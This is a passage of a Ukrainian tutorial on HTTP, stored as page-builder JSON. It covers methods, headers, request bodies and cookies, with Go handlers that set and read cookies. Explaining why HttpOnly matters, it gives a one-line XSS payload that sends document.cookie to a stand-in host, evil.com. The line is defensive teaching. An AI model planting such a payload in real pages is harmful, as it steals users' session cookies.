методів",[5198,8022,8023,8028],{},[5201,8024,8025,8027],{},[5205,8026,7769],{}," з'ясувати, які HTTP-методи підтримуються для конкретного ресурсу (використовується у CORS preflight-запитах).",[5201,8029,8030,8033],{},[5205,8031,8032],{},"Приклад відповіді:",[5464,8034,8037],{"className":8035,"code":8036,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nAllow: GET, POST, PUT, DELETE, OPTIONS\n",[5236,8038,8036],{"__ignoreMap":5472},[8040,8041,8042,8045,8046,8049],"tip",{},[5205,8043,8044],{},"Правило проєктування RESTful API:"," завжди використовуйте HTTP-методи відповідно до їхньої семантики. Ніколи не використовуйте GET для операцій, що змінюють стан сервера (наприклад, ",[5236,8047,8048],{},"GET \u002Fapi\u002Fusers\u002Fdelete\u002F42"," — це поганий дизайн). Клієнти та проксі-сервери можуть кешувати GET-запити, що призведе до непередбачуваної поведінки.",[7167,8051,8053],{"id":8052},"http-заголовки-метадані-запиту-та-відповіді","HTTP-заголовки: метадані запиту та відповіді",[5348,8055,8056,8057,8059,8060,8062,8063,5268],{},"Заголовки (",[5228,8058,5506],{},") — це пари «ключ: значення», які передають додаткову інформацію про запит або відповідь. Заголовки розділені символами ",[5236,8061,5461],{},", і секція заголовків завершується порожнім рядком ",[5236,8064,5527],{},[7759,8066,8068],{"id":8067},"найпоширеніші-заголовки-запиту","Найпоширеніші заголовки запиту",[8070,8071,8072,8088],"table",{},[8073,8074,8075],"thead",{},[8076,8077,8078,8082,8085],"tr",{},[8079,8080,8081],"th",{},"Заголовок",[8079,8083,8084],{},"Призначення",[8079,8086,8087],{},"Приклад",[8089,8090,8091,8106,8120,8134,8149,8164,8179,8193],"tbody",{},[8076,8092,8093,8098,8101],{},[8094,8095,8096],"td",{},[5236,8097,5518],{},[8094,8099,8100],{},"Ім'я домену сервера (обов'язковий у HTTP\u002F1.1)",[8094,8102,8103],{},[5236,8104,8105],{},"Host: api.example.com",[8076,8107,8108,8112,8115],{},[8094,8109,8110],{},[5236,8111,7336],{},[8094,8113,8114],{},"Інформація про клієнта (браузер, мобільний застосунок)",[8094,8116,8117],{},[5236,8118,8119],{},"User-Agent: Mozilla\u002F5.0 ...",[8076,8121,8122,8126,8129],{},[8094,8123,8124],{},[5236,8125,5830],{},[8094,8127,8128],{},"Типи контенту, які клієнт може обробити",[8094,8130,8131],{},[5236,8132,8133],{},"Accept: application\u002Fjson",[8076,8135,8136,8141,8144],{},[8094,8137,8138],{},[5236,8139,8140],{},"Accept-Encoding",[8094,8142,8143],{},"Алгоритми стиснення, які підтримує клієнт",[8094,8145,8146],{},[5236,8147,8148],{},"Accept-Encoding: gzip, deflate",[8076,8150,8151,8156,8159],{},[8094,8152,8153],{},[5236,8154,8155],{},"Authorization",[8094,8157,8158],{},"Токен автентифікації (наприклад, JWT)",[8094,8160,8161],{},[5236,8162,8163],{},"Authorization: Bearer eyJhbGc...",[8076,8165,8166,8171,8174],{},[8094,8167,8168],{},[5236,8169,8170],{},"Content-Type",[8094,8172,8173],{},"Тип даних у тілі запиту",[8094,8175,8176],{},[5236,8177,8178],{},"Content-Type: application\u002Fjson",[8076,8180,8181,8185,8188],{},[8094,8182,8183],{},[5236,8184,7117],{},[8094,8186,8187],{},"Довжина тіла запиту в байтах",[8094,8189,8190],{},[5236,8191,8192],{},"Content-Length: 342",[8076,8194,8195,8199,8202],{},[8094,8196,8197],{},[5236,8198,7339],{},[8094,8200,8201],{},"Куки, збережені клієнтом",[8094,8203,8204],{},[5236,8205,8206],{},"Cookie: session_id=abc123",[7759,8208,8210],{"id":8209},"найпоширеніші-заголовки-відповіді","Найпоширеніші заголовки відповіді",[8070,8212,8213,8223],{},[8073,8214,8215],{},[8076,8216,8217,8219,8221],{},[8079,8218,8081],{},[8079,8220,8084],{},[8079,8222,8087],{},[8089,8224,8225,8239,8253,8268,8282,8296,8311],{},[8076,8226,8227,8231,8234],{},[8094,8228,8229],{},[5236,8230,8170],{},[8094,8232,8233],{},"Тип даних у тілі відповіді",[8094,8235,8236],{},[5236,8237,8238],{},"Content-Type: application\u002Fjson; charset=utf-8",[8076,8240,8241,8245,8248],{},[8094,8242,8243],{},[5236,8244,7117],{},[8094,8246,8247],{},"Довжина тіла відповіді в байтах",[8094,8249,8250],{},[5236,8251,8252],{},"Content-Length: 1234",[8076,8254,8255,8260,8263],{},[8094,8256,8257],{},[5236,8258,8259],{},"Set-Cookie",[8094,8261,8262],{},"Встановлення куків на клієнті",[8094,8264,8265],{},[5236,8266,8267],{},"Set-Cookie: token=xyz; HttpOnly; Secure",[8076,8269,8270,8274,8277],{},[8094,8271,8272],{},[5236,8273,7278],{},[8094,8275,8276],{},"Політика кешування",[8094,8278,8279],{},[5236,8280,8281],{},"Cache-Control: no-cache, no-store",[8076,8283,8284,8288,8291],{},[8094,8285,8286],{},[5236,8287,7281],{},[8094,8289,8290],{},"Унікальний ідентифікатор версії ресурсу",[8094,8292,8293],{},[5236,8294,8295],{},"ETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"",[8076,8297,8298,8303,8306],{},[8094,8299,8300],{},[5236,8301,8302],{},"Location",[8094,8304,8305],{},"URL для редиректу (використовується зі статус-кодами 3xx)",[8094,8307,8308],{},[5236,8309,8310],{},"Location: \u002Fapi\u002Fv1\u002Fusers\u002F42",[8076,8312,8313,8318,8321],{},[8094,8314,8315],{},[5236,8316,8317],{},"Access-Control-Allow-Origin",[8094,8319,8320],{},"CORS: дозволені джерела для крос-доменних запитів",[8094,8322,8323],{},[5236,8324,8325],{},"Access-Control-Allow-Origin: *",[7098,8327,8328,8331,8332,8334,8335,5268],{},[5205,8329,8330],{},"Небезпека відкритого CORS:"," Заголовок ",[5236,8333,8325],{}," дозволяє будь-якому вебсайту виконувати запити до вашого API через JavaScript у браузері. Це може призвести до витоку даних, якщо API повертає чутливу інформацію без перевірки токенів автентифікації. У продакшн-середовищі завжди вказуйте конкретні дозволені домени: ",[5236,8336,8337],{},"Access-Control-Allow-Origin: https:\u002F\u002Fapp.example.com",[7167,8339,8341],{"id":8340},"тіло-запиту-та-відповіді-корисне-навантаження","Тіло запиту та відповіді: корисне навантаження",[5348,8343,8344,8345,5226,8347,8349,8350,5376,8352,5268],{},"Після секції заголовків може йти ",[5205,8346,7684],{},[5228,8348,5531],{},") — корисне навантаження запиту або відповіді. Наявність тіла залежить від методу та заголовка ",[5236,8351,7117],{},[5236,8353,7120],{},[5348,8355,8356],{},[5205,8357,8358],{},"Приклад POST-запиту з JSON-тілом:",[5464,8360,8363],{"className":8361,"code":8362,"language":5469},[5467],"POST \u002Fapi\u002Fv1\u002Fusers HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nContent-Length: 58\n\n{\"name\": \"Олександр\", \"email\": \"alex@example.com\"}\n",[5236,8364,8362],{"__ignoreMap":5472},[5348,8366,8367],{},[5205,8368,8032],{},[5464,8370,8373],{"className":8371,"code":8372,"language":5469},[5467],"HTTP\u002F1.1 201 Created\nContent-Type: application\u002Fjson\nLocation: \u002Fapi\u002Fv1\u002Fusers\u002F42\nContent-Length: 89\n\n{\"id\": 42, \"name\": \"Олександр\", \"email\": \"alex@example.com\", \"created_at\": \"2026-09-01T10:30:00Z\"}\n",[5236,8374,8372],{"__ignoreMap":5472},[7167,8376,8378],{"id":8377},"http-cookies-збереження-стану-між-запитами","HTTP Cookies: збереження стану між запитами",[5348,8380,8381,8382,5226,8385,8388],{},"Протокол HTTP за своєю природою є ",[5205,8383,8384],{},"беззстановим",[5228,8386,8387],{},"stateless",") — кожен запит обробляється незалежно, і сервер не зберігає інформацію про попередні взаємодії з клієнтом. Але як же тоді працюють вебзастосунки, які «пам'ятають» вас після входу? Як інтернет-магазин зберігає вміст вашого кошика між сторінками?",[5348,8390,8391,8392,5226,8395,8398,8399,8401,8402,5268],{},"Відповідь: ",[5205,8393,8394],{},"HTTP Cookies",[5228,8396,8397],{},"куки",") — невеликі фрагменти даних, які сервер відправляє клієнту через заголовок ",[5236,8400,8259],{},", а клієнт зберігає локально і автоматично відправляє назад серверу при кожному наступному запиті через заголовок ",[5236,8403,7339],{},[7759,8405,8407],{"id":8406},"життєвий-цикл-cookie","Життєвий цикл cookie",[7425,8409,8411],{"alt":8410},"Життєвий цикл HTTP Cookie",[5464,8412,8414],{"className":7430,"code":8413,"language":7432,"meta":5472,"style":5472},"@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\nactor \"Браузер\" as Client #DBEAFE\nparticipant \"Вебсервер\" as Server #FEF3C7\ndatabase \"Cookie Storage\\n(браузер)\" as Storage #DCFCE7\n\nClient -> Server : GET \u002Flogin (username, password)\nServer -> Server : Перевірка облікових даних\nServer -> Client : HTTP\u002F1.1 200 OK\\nSet-Cookie: session_id=abc123; HttpOnly; Secure\nClient -> Storage : Зберегти cookie локально\n\nnote right of Storage #E0E7FF\n  Cookie зберігається у\n  захищеному сховищі браузера\nend note\n\nClient -> Server : GET \u002Fprofile\\nCookie: session_id=abc123\nServer -> Server : Розпізнати користувача за session_id\nServer -> Client : HTTP\u002F1.1 200 OK\\n(Дані профілю користувача)\n\nClient -> Server : GET \u002Fapi\u002Fcart\\nCookie: session_id=abc123\nServer -> Client : HTTP\u002F1.1 200 OK\\n(Вміст кошика)\n@enduml\n",[5236,8415,8416,8420,8424,8428,8432,8437,8442,8447,8451,8456,8461,8466,8471,8475,8480,8485,8490,8495,8499,8504,8509,8514,8518,8523,8528],{"__ignoreMap":5472},[5557,8417,8418],{"class":5559,"line":5560},[5557,8419,7439],{},[5557,8421,8422],{"class":5559,"line":5571},[5557,8423,7444],{},[5557,8425,8426],{"class":5559,"line":5578},[5557,8427,7449],{},[5557,8429,8430],{"class":5559,"line":5589},[5557,8431,5575],{"emptyLinePlaceholder":5574},[5557,8433,8434],{"class":5559,"line":5596},[5557,8435,8436],{},"actor \"Браузер\" as Client #DBEAFE\n",[5557,8438,8439],{"class":5559,"line":5602},[5557,8440,8441],{},"participant \"Вебсервер\" as Server #FEF3C7\n",[5557,8443,8444],{"class":5559,"line":5608},[5557,8445,8446],{},"database \"Cookie Storage\\n(браузер)\" as Storage #DCFCE7\n",[5557,8448,8449],{"class":5559,"line":5614},[5557,8450,5575],{"emptyLinePlaceholder":5574},[5557,8452,8453],{"class":5559,"line":5620},[5557,8454,8455],{},"Client -> Server : GET \u002Flogin (username, password)\n",[5557,8457,8458],{"class":5559,"line":5626},[5557,8459,8460],{},"Server -> Server : Перевірка облікових даних\n",[5557,8462,8463],{"class":5559,"line":5631},[5557,8464,8465],{},"Server -> Client : HTTP\u002F1.1 200 OK\\nSet-Cookie: session_id=abc123; HttpOnly; Secure\n",[5557,8467,8468],{"class":5559,"line":5644},[5557,8469,8470],{},"Client -> Storage : Зберегти cookie локально\n",[5557,8472,8473],{"class":5559,"line":5651},[5557,8474,5575],{"emptyLinePlaceholder":5574},[5557,8476,8477],{"class":5559,"line":5686},[5557,8478,8479],{},"note right of Storage #E0E7FF\n",[5557,8481,8482],{"class":5559,"line":5704},[5557,8483,8484],{},"  Cookie зберігається у\n",[5557,8486,8487],{"class":5559,"line":5732},[5557,8488,8489],{},"  захищеному сховищі браузера\n",[5557,8491,8492],{"class":5559,"line":5738},[5557,8493,8494],{},"end note\n",[5557,8496,8497],{"class":5559,"line":5755},[5557,8498,5575],{"emptyLinePlaceholder":5574},[5557,8500,8501],{"class":5559,"line":5760},[5557,8502,8503],{},"Client -> Server : GET \u002Fprofile\\nCookie: session_id=abc123\n",[5557,8505,8506],{"class":5559,"line":5778},[5557,8507,8508],{},"Server -> Server : Розпізнати користувача за session_id\n",[5557,8510,8511],{"class":5559,"line":5794},[5557,8512,8513],{},"Server -> Client : HTTP\u002F1.1 200 OK\\n(Дані профілю користувача)\n",[5557,8515,8516],{"class":5559,"line":5799},[5557,8517,5575],{"emptyLinePlaceholder":5574},[5557,8519,8520],{"class":5559,"line":5807},[5557,8521,8522],{},"Client -> Server : GET \u002Fapi\u002Fcart\\nCookie: session_id=abc123\n",[5557,8524,8525],{"class":5559,"line":5813},[5557,8526,8527],{},"Server -> Client : HTTP\u002F1.1 200 OK\\n(Вміст кошика)\n",[5557,8529,8530],{"class":5559,"line":5835},[5557,8531,7632],{},[7759,8533,8535],{"id":8534},"встановлення-cookie-заголовок-set-cookie","Встановлення cookie: заголовок Set-Cookie",[5348,8537,8538,8539,8541],{},"Сервер встановлює cookie через заголовок ",[5236,8540,8259],{}," у відповіді:",[5464,8543,8546],{"className":8544,"code":8545,"language":5469},[5467],"HTTP\u002F1.1 200 OK\nSet-Cookie: session_id=a3fWa; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Strict\nSet-Cookie: theme=dark; Path=\u002F; Max-Age=31536000\nContent-Type: text\u002Fhtml\n\n\u003Chtml>...\u003C\u002Fhtml>\n",[5236,8547,8545],{"__ignoreMap":5472},[5348,8549,8550],{},"Браузер зберігає ці куки та автоматично додає їх до всіх наступних запитів на цей домен:",[5464,8552,8555],{"className":8553,"code":8554,"language":5469},[5467],"GET \u002Fdashboard HTTP\u002F1.1\nHost: example.com\nCookie: session_id=a3fWa; theme=dark\n",[5236,8556,8554],{"__ignoreMap":5472},[7759,8558,8560],{"id":8559},"атрибути-cookie-та-їхнє-призначення","Атрибути cookie та їхнє призначення",[8070,8562,8563,8574],{},[8073,8564,8565],{},[8076,8566,8567,8570,8572],{},[8079,8568,8569],{},"Атрибут",[8079,8571,8084],{},[8079,8573,8087],{},[8089,8575,8576,8591,8607,8623,8643,8657,8671],{},[8076,8577,8578,8583,8586],{},[8094,8579,8580],{},[5236,8581,8582],{},"Expires",[8094,8584,8585],{},"Дата закінчення терміну дії cookie",[8094,8587,8588],{},[5236,8589,8590],{},"Expires=Wed, 21 Oct 2026 07:28:00 GMT",[8076,8592,8593,8598,8601],{},[8094,8594,8595],{},[5236,8596,8597],{},"Max-Age",[8094,8599,8600],{},"Тривалість життя cookie в секундах",[8094,8602,8603,8606],{},[5236,8604,8605],{},"Max-Age=3600"," (1 година)",[8076,8608,8609,8614,8617],{},[8094,8610,8611],{},[5236,8612,8613],{},"Domain",[8094,8615,8616],{},"Домен, для якого cookie валідний",[8094,8618,8619,8622],{},[5236,8620,8621],{},"Domain=.example.com"," (включає піддомени)",[8076,8624,8625,8630,8633],{},[8094,8626,8627],{},[5236,8628,8629],{},"Path",[8094,8631,8632],{},"Шлях URL, для якого cookie валідний",[8094,8634,8635,8638,8639,8642],{},[5236,8636,8637],{},"Path=\u002Fapi"," (тільки для ",[5236,8640,8641],{},"\u002Fapi\u002F*",")",[8076,8644,8645,8650,8653],{},[8094,8646,8647],{},[5236,8648,8649],{},"Secure",[8094,8651,8652],{},"Cookie передається лише через HTTPS",[8094,8654,8655],{},[5236,8656,8649],{},[8076,8658,8659,8664,8667],{},[8094,8660,8661],{},[5236,8662,8663],{},"HttpOnly",[8094,8665,8666],{},"Cookie недоступний через JavaScript",[8094,8668,8669],{},[5236,8670,8663],{},[8076,8672,8673,8678,8681],{},[8094,8674,8675],{},[5236,8676,8677],{},"SameSite",[8094,8679,8680],{},"Захист від CSRF-атак",[8094,8682,8683,8686,8687,8686,8690],{},[5236,8684,8685],{},"SameSite=Strict"," \u002F ",[5236,8688,8689],{},"Lax",[5236,8691,8692],{},"None",[7759,8694,8696],{"id":8695},"session-cookies-vs-persistent-cookies","Session cookies vs Persistent cookies",[5348,8698,8699],{},[5205,8700,8701],{},"Session cookies (сесійні куки):",[5198,8703,8704,8711,8714],{},[5201,8705,8706,8707,5376,8709,5268],{},"Не мають атрибутів ",[5236,8708,8582],{},[5236,8710,8597],{},[5201,8712,8713],{},"Видаляються автоматично, коли користувач закриває браузер.",[5201,8715,8716],{},"Використовуються для тимчасових даних (наприклад, ідентифікатор сесії).",[5348,8718,8719],{},[5205,8720,8721],{},"Persistent cookies (постійні куки):",[5198,8723,8724,8731,8734],{},[5201,8725,8726,8727,5376,8729,5268],{},"Мають встановлений термін дії через ",[5236,8728,8582],{},[5236,8730,8597],{},[5201,8732,8733],{},"Зберігаються на диску і залишаються після закриття браузера.",[5201,8735,8736],{},"Використовуються для налаштувань користувача (мова, тема), токенів \"Запам'ятати мене\".",[7759,8738,8740],{"id":8739},"безпека-cookies-атрибути-httponly-secure-та-samesite","Безпека cookies: атрибути HttpOnly, Secure та SameSite",[5348,8742,8743,8747,8748,8750,8751,5226,8754,8757,8758,5226,8761,8764],{},[5205,8744,8745,7256],{},[5236,8746,8663],{}," Найважливіший атрибут безпеки. Якщо cookie має прапорець ",[5236,8749,8663],{},", він ",[5205,8752,8753],{},"недоступний через JavaScript",[5236,8755,8756],{},"document.cookie","). Це захищає від атак типу ",[5205,8759,8760],{},"XSS",[5228,8762,8763],{},"Cross-Site Scripting","), коли зловмисник намагається викрасти сесійні токени через вразливість у frontend-коді.",[5348,8766,8767],{},[5205,8768,8769,8770,7256],{},"Приклад атаки без ",[5236,8771,8663],{},[5464,8773,8777],{"className":8774,"code":8775,"language":8776,"meta":5472,"style":5472},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Зловмисник вставляє цей код через XSS-вразливість\nfetch('https:\u002F\u002Fevil.com\u002Fsteal?cookie=' + document.cookie);\n","javascript",[5236,8778,8779,8784],{"__ignoreMap":5472},[5557,8780,8781],{"class":5559,"line":5560},[5557,8782,8783],{"class":5647},"\u002F\u002F Зловмисник вставляє цей код через XSS-вразливість\n",[5557,8785,8786,8789,8791,8794,8797,8800,8802,8805],{"class":5559,"line":5571},[5557,8787,8788],{"class":5637},"fetch",[5557,8790,5673],{"class":5585},[5557,8792,8793],{"class":5592},"'https:\u002F\u002Fevil.com\u002Fsteal?cookie='",[5557,8795,8796],{"class":5585}," + ",[5557,8798,8799],{"class":5654},"document",[5557,8801,5268],{"class":5585},[5557,8803,8804],{"class":5654},"cookie",[5557,8806,8807],{"class":5585},");\n",[5348,8809,8810,8811,8813],{},"Якщо cookie має ",[5236,8812,8663],{},", цей код не зможе його прочитати.",[5348,8815,8816,8820,8821,8824,8825,5268],{},[5205,8817,8818,7256],{},[5236,8819,8649],{}," Cookie з цим атрибутом передається лише через ",[5205,8822,8823],{},"HTTPS",", ніколи через незахищений HTTP. Це запобігає перехопленню cookie при атаці ",[5205,8826,8827],{},"Man-in-the-Middle",[5348,8829,8830,8834,8835,5226,8838,8841],{},[5205,8831,8832,7256],{},[5236,8833,8677],{}," Захист від ",[5205,8836,8837],{},"CSRF",[5228,8839,8840],{},"Cross-Site Request Forgery",") атак. Існує три режими:",[5198,8843,8844,8855,8874],{},[5201,8845,8846,8850,8851,8854],{},[5205,8847,8848,7256],{},[5236,8849,8685],{}," Cookie відправляється лише при запитах із ",[5205,8852,8853],{},"того самого сайту",". Якщо користувач переходить на ваш сайт з іншого домену (наприклад, клік на посилання в email), cookie не буде відправлено. Максимальний рівень захисту, але може порушити зручність використання.",[5201,8856,8857,8862,8863,8866,8867,5305,8870,8873],{},[5205,8858,8859],{},[5236,8860,8861],{},"SameSite=Lax"," (за замовчуванням у сучасних браузерах): Cookie відправляється при ",[5205,8864,8865],{},"навігації верхнього рівня"," (GET-запити при переході по посиланню), але не відправляється при крос-доменних POST-запитах або завантаженнях ресурсів (",[5236,8868,8869],{},"\u003Cimg>",[5236,8871,8872],{},"\u003Ciframe>","). Баланс між безпекою та зручністю.",[5201,8875,8876,8881,8882,8885,8886,8888],{},[5205,8877,8878,7256],{},[5236,8879,8880],{},"SameSite=None"," Cookie відправляється при ",[5205,8883,8884],{},"всіх крос-доменних запитах",". Обов'язково вимагає атрибута ",[5236,8887,8649],{},". Використовується для віджетів, iframe-вбудовувань або стороннього аутентифікаційного провайдера (OAuth).",[7759,8890,8892],{"id":8891},"приклад-встановлення-cookie-у-go","Приклад встановлення cookie у Go",[5464,8894,8896],{"className":5550,"code":8895,"language":5553,"meta":5472,"style":5472},"func loginHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Після успішної аутентифікації створюємо сесію\n    sessionID := generateSecureToken() \u002F\u002F Генерація криптостійкого токена\n\n    \u002F\u002F Встановлюємо cookie з усіма захисними атрибутами\n    cookie := &http.Cookie{\n        Name:     \"session_id\",\n        Value:    sessionID,\n        Path:     \"\u002F\",\n        MaxAge:   3600,                    \u002F\u002F 1 година\n        HttpOnly: true,                    \u002F\u002F Захист від XSS\n        Secure:   true,                    \u002F\u002F Тільки HTTPS\n        SameSite: http.SameSiteStrictMode, \u002F\u002F Захист від CSRF\n    }\n\n    http.SetCookie(w, cookie)\n\n    w.WriteHeader(http.StatusOK)\n    fmt.Fprintf(w, \"Вхід успішний. Сесія створена.\")\n}\n",[5236,8897,8898,8936,8941,8957,8961,8966,8982,8995,9008,9020,9037,9052,9066,9085,9089,9093,9113,9117,9138,9158],{"__ignoreMap":5472},[5557,8899,8900,8902,8905,8907,8910,8913,8915,8918,8920,8923,8926,8929,8931,8934],{"class":5559,"line":5560},[5557,8901,5634],{"class":5563},[5557,8903,8904],{"class":5637}," loginHandler",[5557,8906,5673],{"class":5585},[5557,8908,8909],{"class":5654},"w",[5557,8911,8912],{"class":5567}," http",[5557,8914,5268],{"class":5585},[5557,8916,8917],{"class":5567},"ResponseWriter",[5557,8919,5305],{"class":5585},[5557,8921,8922],{"class":5654},"r",[5557,8924,8925],{"class":5585}," *",[5557,8927,8928],{"class":5567},"http",[5557,8930,5268],{"class":5585},[5557,8932,8933],{"class":5567},"Request",[5557,8935,5949],{"class":5585},[5557,8937,8938],{"class":5559,"line":5571},[5557,8939,8940],{"class":5647},"    \u002F\u002F Після успішної аутентифікації створюємо сесію\n",[5557,8942,8943,8946,8948,8951,8954],{"class":5559,"line":5578},[5557,8944,8945],{"class":5654},"    sessionID",[5557,8947,5663],{"class":5585},[5557,8949,8950],{"class":5637},"generateSecureToken",[5557,8952,8953],{"class":5585},"() ",[5557,8955,8956],{"class":5647},"\u002F\u002F Генерація криптостійкого токена\n",[5557,8958,8959],{"class":5559,"line":5589},[5557,8960,5575],{"emptyLinePlaceholder":5574},[5557,8962,8963],{"class":5559,"line":5596},[5557,8964,8965],{"class":5647},"    \u002F\u002F Встановлюємо cookie з усіма захисними атрибутами\n",[5557,8967,8968,8971,8974,8976,8978,8980],{"class":5559,"line":5602},[5557,8969,8970],{"class":5654},"    cookie",[5557,8972,8973],{"class":5585}," := &",[5557,8975,8928],{"class":5567},[5557,8977,5268],{"class":5585},[5557,8979,7339],{"class":5567},[5557,8981,6695],{"class":5585},[5557,8983,8984,8987,8990,8993],{"class":5559,"line":5608},[5557,8985,8986],{"class":5654},"        Name",[5557,8988,8989],{"class":5585},":     ",[5557,8991,8992],{"class":5592},"\"session_id\"",[5557,8994,6710],{"class":5585},[5557,8996,8997,9000,9003,9006],{"class":5559,"line":5614},[5557,8998,8999],{"class":5654},"        Value",[5557,9001,9002],{"class":5585},":    ",[5557,9004,9005],{"class":5654},"sessionID",[5557,9007,6710],{"class":5585},[5557,9009,9010,9013,9015,9018],{"class":5559,"line":5620},[5557,9011,9012],{"class":5654},"        Path",[5557,9014,8989],{"class":5585},[5557,9016,9017],{"class":5592},"\"\u002F\"",[5557,9019,6710],{"class":5585},[5557,9021,9022,9025,9028,9031,9034],{"class":5559,"line":5626},[5557,9023,9024],{"class":5654},"        MaxAge",[5557,9026,9027],{"class":5585},":   ",[5557,9029,9030],{"class":6134},"3600",[5557,9032,9033],{"class":5585},",                    ",[5557,9035,9036],{"class":5647},"\u002F\u002F 1 година\n",[5557,9038,9039,9042,9044,9047,9049],{"class":5559,"line":5631},[5557,9040,9041],{"class":5654},"        HttpOnly",[5557,9043,6704],{"class":5585},[5557,9045,9046],{"class":5563},"true",[5557,9048,9033],{"class":5585},[5557,9050,9051],{"class":5647},"\u002F\u002F Захист від XSS\n",[5557,9053,9054,9057,9059,9061,9063],{"class":5559,"line":5644},[5557,9055,9056],{"class":5654},"        Secure",[5557,9058,9027],{"class":5585},[5557,9060,9046],{"class":5563},[5557,9062,9033],{"class":5585},[5557,9064,9065],{"class":5647},"\u002F\u002F Тільки HTTPS\n",[5557,9067,9068,9071,9073,9075,9077,9080,9082],{"class":5559,"line":5651},[5557,9069,9070],{"class":5654},"        SameSite",[5557,9072,6704],{"class":5585},[5557,9074,8928],{"class":5654},[5557,9076,5268],{"class":5585},[5557,9078,9079],{"class":5654},"SameSiteStrictMode",[5557,9081,5305],{"class":5585},[5557,9083,9084],{"class":5647},"\u002F\u002F Захист від CSRF\n",[5557,9086,9087],{"class":5559,"line":5686},[5557,9088,5735],{"class":5585},[5557,9090,9091],{"class":5559,"line":5704},[5557,9092,5575],{"emptyLinePlaceholder":5574},[5557,9094,9095,9098,9100,9103,9105,9107,9109,9111],{"class":5559,"line":5732},[5557,9096,9097],{"class":5654},"    http",[5557,9099,5268],{"class":5585},[5557,9101,9102],{"class":5637},"SetCookie",[5557,9104,5673],{"class":5585},[5557,9106,8909],{"class":5654},[5557,9108,5305],{"class":5585},[5557,9110,8804],{"class":5654},[5557,9112,5623],{"class":5585},[5557,9114,9115],{"class":5559,"line":5738},[5557,9116,5575],{"emptyLinePlaceholder":5574},[5557,9118,9119,9122,9124,9127,9129,9131,9133,9136],{"class":5559,"line":5755},[5557,9120,9121],{"class":5654},"    w",[5557,9123,5268],{"class":5585},[5557,9125,9126],{"class":5637},"WriteHeader",[5557,9128,5673],{"class":5585},[5557,9130,8928],{"class":5654},[5557,9132,5268],{"class":5585},[5557,9134,9135],{"class":5654},"StatusOK",[5557,9137,5623],{"class":5585},[5557,9139,9140,9142,9144,9147,9149,9151,9153,9156],{"class":5559,"line":5760},[5557,9141,5763],{"class":5654},[5557,9143,5268],{"class":5585},[5557,9145,9146],{"class":5637},"Fprintf",[5557,9148,5673],{"class":5585},[5557,9150,8909],{"class":5654},[5557,9152,5305],{"class":5585},[5557,9154,9155],{"class":5592},"\"Вхід успішний. Сесія створена.\"",[5557,9157,5623],{"class":5585},[5557,9159,9160],{"class":5559,"line":5778},[5557,9161,5922],{"class":5585},[7759,9163,9165],{"id":9164},"читання-cookie-у-go","Читання cookie у Go",[5464,9167,9169],{"className":5550,"code":9168,"language":5553,"meta":5472,"style":5472},"func profileHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Читаємо cookie з запиту\n    cookie, err := r.Cookie(\"session_id\")\n    if err != nil {\n        if err == http.ErrNoCookie {\n            http.Error(w, \"Відсутня сесія. Увійдіть у систему.\", http.StatusUnauthorized)\n            return\n        }\n        http.Error(w, \"Помилка читання cookie\", http.StatusInternalServerError)\n        return\n    }\n\n    sessionID := cookie.Value\n\n    \u002F\u002F Перевірка валідності сесії (у реальності — запит до Redis\u002Fбази даних)\n    if !isValidSession(sessionID) {\n        http.Error(w, \"Невалідна або прострочена сесія\", http.StatusUnauthorized)\n        return\n    }\n\n    fmt.Fprintf(w, \"Вітаємо! Ваша сесія: %s\", sessionID)\n}\n",[5236,9170,9171,9202,9207,9229,9241,9258,9288,9292,9296,9325,9329,9333,9337,9350,9354,9359,9375,9402,9406,9410,9414,9441],{"__ignoreMap":5472},[5557,9172,9173,9175,9178,9180,9182,9184,9186,9188,9190,9192,9194,9196,9198,9200],{"class":5559,"line":5560},[5557,9174,5634],{"class":5563},[5557,9176,9177],{"class":5637}," profileHandler",[5557,9179,5673],{"class":5585},[5557,9181,8909],{"class":5654},[5557,9183,8912],{"class":5567},[5557,9185,5268],{"class":5585},[5557,9187,8917],{"class":5567},[5557,9189,5305],{"class":5585},[5557,9191,8922],{"class":5654},[5557,9193,8925],{"class":5585},[5557,9195,8928],{"class":5567},[5557,9197,5268],{"class":5585},[5557,9199,8933],{"class":5567},[5557,9201,5949],{"class":5585},[5557,9203,9204],{"class":5559,"line":5571},[5557,9205,9206],{"class":5647},"    \u002F\u002F Читаємо cookie з запиту\n",[5557,9208,9209,9211,9213,9215,9217,9219,9221,9223,9225,9227],{"class":5559,"line":5578},[5557,9210,8970],{"class":5654},[5557,9212,5305],{"class":5585},[5557,9214,5660],{"class":5654},[5557,9216,5663],{"class":5585},[5557,9218,8922],{"class":5654},[5557,9220,5268],{"class":5585},[5557,9222,7339],{"class":5637},[5557,9224,5673],{"class":5585},[5557,9226,8992],{"class":5592},[5557,9228,5623],{"class":5585},[5557,9230,9231,9233,9235,9237,9239],{"class":5559,"line":5589},[5557,9232,5689],{"class":5581},[5557,9234,5692],{"class":5654},[5557,9236,5695],{"class":5585},[5557,9238,5698],{"class":5563},[5557,9240,5701],{"class":5585},[5557,9242,9243,9245,9247,9249,9251,9253,9256],{"class":5559,"line":5596},[5557,9244,5838],{"class":5581},[5557,9246,5692],{"class":5654},[5557,9248,6353],{"class":5585},[5557,9250,8928],{"class":5654},[5557,9252,5268],{"class":5585},[5557,9254,9255],{"class":5654},"ErrNoCookie",[5557,9257,5701],{"class":5585},[5557,9259,9260,9263,9265,9268,9270,9272,9274,9277,9279,9281,9283,9286],{"class":5559,"line":5602},[5557,9261,9262],{"class":5654},"            http",[5557,9264,5268],{"class":5585},[5557,9266,9267],{"class":5637},"Error",[5557,9269,5673],{"class":5585},[5557,9271,8909],{"class":5654},[5557,9273,5305],{"class":5585},[5557,9275,9276],{"class":5592},"\"Відсутня сесія. Увійдіть у 